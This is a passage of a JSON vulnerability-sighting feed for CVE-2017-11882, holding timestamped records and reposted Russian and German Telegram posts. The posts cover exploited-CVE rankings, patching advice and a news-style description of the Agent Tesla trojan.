\u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u0440\u043e\u0432\u043d\u044e \u043c\u0438\u0440\u043e\u0432\u044b\u0445 \u043b\u0438\u0434\u0435\u0440\u043e\u0432.\n\n\u0418\u043d\u0444\u043b\u044f\u0446\u0438\u044f \u043e\u0442\u0447\u0451\u0442\u043e\u0432: 2884 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0445 TI-\u043e\u0442\u0447\u0451\u0442\u0430 \u2014 \u043d\u0430 22% \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0432 2024. 11,7 \u043e\u0442\u0447\u0451\u0442\u0430 \u0432 \u0434\u0435\u043d\u044c. \u0420\u0443\u0447\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 20\u201325 \u043c\u043b\u043d \u0440\u0443\u0431\u043b\u0435\u0439 \u0432 \u0433\u043e\u0434 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0437\u0430\u0440\u043f\u043b\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e\u0442 \u043e\u0442\u0447\u0451\u0442 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c?\n\n\u041e\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0418\u0411-\u0432\u043e\u043f\u0440\u043e\u0441:\u00a0\u00ab\u0427\u0442\u043e \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c?\u00bb\u00a0 \u0424\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 TTP \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442\n\n\u041c\u044b \u0432 CyberThreatTech \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u041e\u0437\u0435\u0440\u043e \u0437\u043d\u0430\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0447\u0435\u0440\u043f\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0433\u043e \u043c\u0443\u0434\u0440\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0442\u043e\u043d\u0443\u0442\u044c \u0432 \u0434\u0430\u043d\u043d\u044b\u0445. \n\n\u0412\u0430\u0448\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u2014 \u0437\u0430\u0434\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441.\n#CTI #threatintelligence #communitydriven #\u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430 #CyberThreatTech\n\n\u0420\u0435\u043a\u043b\u0430\u043c\u0430: 2VtzqvWH3Pn", "creation_timestamp": "2026-05-25T11:32:39.000000Z"}, {"uuid": "5c0d0a24-ad4c-4761-b005-2688fef42136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/MAz7ARm-ratWIpZ99bRgqvdprVaZh7wYDJKjYMBPDT0_pQ", "content": "", "creation_timestamp": "2026-08-08T17:00:37.030866Z"}, {"uuid": "5bdcd99e-7dc3-4455-9357-4f0529dee81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/MAz7ARm-ratWIpZ99bRgqvdprVaZh7wYDJKjYMBPDT0_pQ", "content": "", "creation_timestamp": "2026-08-09T00:46:43.029598Z"}, {"uuid": "0afd0de3-0a11-4e34-8afc-52647a34723b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-06T00:00:59.634696Z"}, {"uuid": "29bfdc5a-9a04-454f-b27c-cda9ab7c201e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9dcc34b8-28c8-46d9-be08-5dd92548f83e", "content": "", "creation_timestamp": "2026-06-19T12:47:59.492217Z"}, {"uuid": "d2fbf398-79d8-4a5e-b7d6-f4e099fec730", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bae8d38f-1682-4241-a253-e538d988bd3e", "content": "", "creation_timestamp": "2026-06-23T14:04:35.080477Z"}, {"uuid": "79a385e5-27d7-4da4-99c5-3fbecac49a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/aktivcons/768", "content": "\ud83d\udde3\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Qualys \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0438\u0437 20 \u0441\u0430\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, 15 \u0438\u0437 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft.\n\n\u2757\ufe0f\u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882: \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Microsoft Office, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 467 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e, \u0430\u0442\u0430\u043a\u0430\u0445 53 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 14 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\ud83d\udcactg_AC", "creation_timestamp": "2026-08-15T08:00:10.053643Z"}, {"uuid": "830e3737-f6e6-4b93-815a-30dfe8ff2e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/vpntester/60", "content": "Agent Tesla TrojanerAgent Tesla ist ein gef\u00e4hrlicher Trojaner.Wie Forscher festgestellt haben, hat sich der Agent Tesla RAT (Remote Access Trojaner) in der ersten H\u00e4lfte des Jahres 2020 zu einer der am weitesten verbreiteten und bedrohlichsten Malware-Familien entwickelt.\u00a0 Auch OpenVPN kann Opfer des Trojaners werden! Agent Tesla war in mehr Cyber-Attacken verwickelt als bspw. Trickbot oder Emotet, noch aggressiver war nur Dridex. Obwohl es den Trojaner bereits seit zumindest sechs Jahren gibt, entwickelt er sich immer weiter bzw. passt sich an und zerst\u00f6rt damit die Sicherheitsvorkehrungen vieler Unternehmen. W\u00e4hrend der COVID-19-Pandemie kamen wieder neue Varianten mit zus\u00e4tzlichen Features zutage, die gro\u00df angelegt f\u00fcr spezielle Coronavirus-Phishingkampagnen genutzt wurden.Was ist & kann Agent Tesla?In seinem Kern ist Agent Tesla ein ausgekl\u00fcgelter Keylogger und Infostealer, der die Tastatureingaben \u00fcberwacht sowie aufzeichnet, Daten mitliest, Screenshots erstellt und App-Zugangsdaten abf\u00e4ngt. Agent Tesla wurde erstmals 2014 entdeckt, in den letzte beiden Jahren wurde der Trojaner vermehrt eingesetzt. Die Malware wurde zu Beginn in verschiedenen Untergrundforen und -marktpl\u00e4tzen sowie der eigenen, mittlerweile deaktivierten AgentTesla.com Seite verkauft. Agent Tesla hat, wie viele seiner \u201eKonkurrenten\u201c sowohl die Malware an sich angeboten als auch ein Managementpanel zur Verwaltung und Datensammlung. Auf diesem Panel hat der Cyberkriminelle schnell Zugriff auf die abgegriffenen/gestohlenen Informationen und Daten.G\u00fcnstiger Trojaner mit vollem FunktionsumfangAls Agent Tesla seinerzeit gelauncht wurde, gab es verschiedene \u201ePackages\u201c zu kaufen. Jedes dieser Packages unterschied sich durch die Lizenzdauer und den Built-/Update-Zugriff. F\u00fcr damalige Verh\u00e4ltnisse war der Trojaner recht g\u00fcnstig zu haben \u2013 1 Monatslizenz kostete 12 USD, 6 Monatslizenzen 35 USD. Aber nat\u00fcrlich gab es recht schnell auch gecknackte und geleakte Agent Tesla Versionen.Fr\u00fche Versionen von Agent Tesla warben bereits mit dem vollen Funktionsumfang eines modernen Trojaners wie bspw.:verschiedene SprachenPHP-Web-Panelautomatische Aktivierung bei Zahlung (f\u00fcr Direktkunden)24/7-Supportstabile und schnelle Ausf\u00fchrungverschiedene Arten der Bereitstellung von Tastatureingabeprotokolle, Screenshots und Clipboard-PullsUnterst\u00fctzung f\u00fcr mehrere Windows-Versionen (XP aufw\u00e4rts)ZustellmechanismusWie bei vielen anderen Bedrohungen ist auch bei Agent Tesla die prim\u00e4re Zustellungsmethode E-Mail (Phishing-Nachrichten). Die Angreifer kommen mit ihren Social Engineering-K\u00f6dern oft gerade zur rechten Zeit und die momentane Pandemie ist f\u00fcr die Cyberkriminellen keineswegs tabu. Im Gegenteil: In den letzten Monaten wurde verst\u00e4rkt beobachtet, dass Angreifer Agent Tesla \u00fcber Nachrichten mit COVID-Themen verbreitet haben \u2013 oft getarnt als Informationen oder Update der WHO.B\u00f6sartige Office-Dokumente nutzten Schwachstellen ausDie Akteure hinter Agent Tesal-Kampagnen verwenden oft auch b\u00f6sartige Office-Dokumente, um die erste Phase der Auslieferung zu erleichtern. Speziall angefertigte Dokumente, die Office-Schwachstellen wie CVE-2017-11882 und CVE-2017-8570 ausnutzen, werden auch in heutigen Kampagnen genutzt. Diese und \u00e4hnliche Schwachstellen erm\u00f6glichen eine schnelle Zustellung und Ausf\u00fchrung mit minimaler Nutzerinteraktion (\u00fcber das \u00d6ffnen der b\u00f6sartigen Dokumente und die Weiterleitung aktiver Inhalte hinaus).Features der neuen Agent Tesla VariantenIm Laufe der Zeit wurde Agent Tesla um zus\u00e4tzliche Funktionen erweitert. Diese Verbesserungen umfassen robustere Verbreitungs- und Injektionsmethoden sowie die Entdeckung und den Diebstahl von WLAN-Informationen und -Zugangsdaten. Derzeit wird Agent Tesla weiterhin in verschiedene Angriffsstufen eingesetzt. Die\u2026", "creation_timestamp": "2026-08-06T20:00:04.312360Z"}, {"uuid": "0c055fa5-6835-420e-b173-051e62b4930b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/vpntester/60", "content": "Agent Tesla TrojanerAgent Tesla ist ein gef\u00e4hrlicher Trojaner.Wie Forscher festgestellt haben, hat sich der Agent Tesla RAT (Remote Access Trojaner) in der ersten H\u00e4lfte des Jahres 2020 zu einer der am weitesten verbreiteten und bedrohlichsten Malware-Familien entwickelt.\u00a0 Auch OpenVPN kann Opfer des Trojaners werden! Agent Tesla war in mehr Cyber-Attacken verwickelt als bspw. Trickbot oder Emotet, noch aggressiver war nur Dridex. Obwohl es den Trojaner bereits seit zumindest sechs Jahren gibt, entwickelt er sich immer weiter bzw. passt sich an und zerst\u00f6rt damit die Sicherheitsvorkehrungen vieler Unternehmen. W\u00e4hrend der COVID-19-Pandemie kamen wieder neue Varianten mit zus\u00e4tzlichen Features zutage, die gro\u00df angelegt f\u00fcr spezielle Coronavirus-Phishingkampagnen genutzt wurden.Was ist & kann Agent Tesla?In seinem Kern ist Agent Tesla ein ausgekl\u00fcgelter Keylogger und Infostealer, der die Tastatureingaben \u00fcberwacht sowie aufzeichnet, Daten mitliest, Screenshots erstellt und App-Zugangsdaten abf\u00e4ngt. Agent Tesla wurde erstmals 2014 entdeckt, in den letzte beiden Jahren wurde der Trojaner vermehrt eingesetzt. Die Malware wurde zu Beginn in verschiedenen Untergrundforen und -marktpl\u00e4tzen sowie der eigenen, mittlerweile deaktivierten AgentTesla.com Seite verkauft. Agent Tesla hat, wie viele seiner \u201eKonkurrenten\u201c sowohl die Malware an sich angeboten als auch ein Managementpanel zur Verwaltung und Datensammlung. Auf diesem Panel hat der Cyberkriminelle schnell Zugriff auf die abgegriffenen/gestohlenen Informationen und Daten.G\u00fcnstiger Trojaner mit vollem FunktionsumfangAls Agent Tesla seinerzeit gelauncht wurde, gab es verschiedene \u201ePackages\u201c zu kaufen. Jedes dieser Packages unterschied sich durch die Lizenzdauer und den Built-/Update-Zugriff. F\u00fcr damalige Verh\u00e4ltnisse war der Trojaner recht g\u00fcnstig zu haben \u2013 1 Monatslizenz kostete 12 USD, 6 Monatslizenzen 35 USD. Aber nat\u00fcrlich gab es recht schnell auch gecknackte und geleakte Agent Tesla Versionen.Fr\u00fche Versionen von Agent Tesla warben bereits mit dem vollen Funktionsumfang eines modernen Trojaners wie bspw.:verschiedene SprachenPHP-Web-Panelautomatische Aktivierung bei Zahlung (f\u00fcr Direktkunden)24/7-Supportstabile und schnelle Ausf\u00fchrungverschiedene Arten der Bereitstellung von Tastatureingabeprotokolle, Screenshots und Clipboard-PullsUnterst\u00fctzung f\u00fcr mehrere Windows-Versionen (XP aufw\u00e4rts)ZustellmechanismusWie bei vielen anderen Bedrohungen ist auch bei Agent Tesla die prim\u00e4re Zustellungsmethode E-Mail (Phishing-Nachrichten). Die Angreifer kommen mit ihren Social Engineering-K\u00f6dern oft gerade zur rechten Zeit und die momentane Pandemie ist f\u00fcr die Cyberkriminellen keineswegs tabu. Im Gegenteil: In den letzten Monaten wurde verst\u00e4rkt beobachtet, dass Angreifer Agent Tesla \u00fcber Nachrichten mit COVID-Themen verbreitet haben \u2013 oft getarnt als Informationen oder Update der WHO.B\u00f6sartige Office-Dokumente nutzten Schwachstellen ausDie Akteure hinter Agent Tesal-Kampagnen verwenden oft auch b\u00f6sartige Office-Dokumente, um die erste Phase der Auslieferung zu erleichtern. Speziall angefertigte Dokumente, die Office-Schwachstellen wie CVE-2017-11882 und CVE-2017-8570 ausnutzen, werden auch in heutigen Kampagnen genutzt. Diese und \u00e4hnliche Schwachstellen erm\u00f6glichen eine schnelle Zustellung und Ausf\u00fchrung mit minimaler Nutzerinteraktion (\u00fcber das \u00d6ffnen der b\u00f6sartigen Dokumente und die Weiterleitung aktiver Inhalte hinaus).Features der neuen Agent Tesla VariantenIm Laufe der Zeit wurde Agent Tesla um zus\u00e4tzliche Funktionen erweitert. Diese Verbesserungen umfassen robustere Verbreitungs- und Injektionsmethoden sowie die Entdeckung und den Diebstahl von WLAN-Informationen und -Zugangsdaten. Derzeit wird Agent Tesla weiterhin in verschiedene Angriffsstufen eingesetzt. Die\u2026", "creation_timestamp": "2026-08-07T00:02:20.959286Z"}, {"uuid": "0840ec7c-4a73-49f8-911c-9621e4c92323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/114d8ab6-29fb-4d33-84d9-72005bc3371c", "content": "", "creation_timestamp": "2026-07-09T06:15:02.736698Z"}, {"uuid": "27a34e5a-f498-4416-a4f2-672a7070fc3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/aktivcons/768", "content": "\ud83d\udde3\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Qualys \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0438\u0437 20 \u0441\u0430\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, 15 \u0438\u0437 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft.\n\n\u2757\ufe0f\u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882: \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Microsoft Office, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 467 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e, \u0430\u0442\u0430\u043a\u0430\u0445 53 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 14 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\ud83d\udcactg_AC", "creation_timestamp": "2026-08-16T00:00:14.124291Z"}, {"uuid": "4e270c36-6b0f-4f58-86ad-8103dd0c2668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 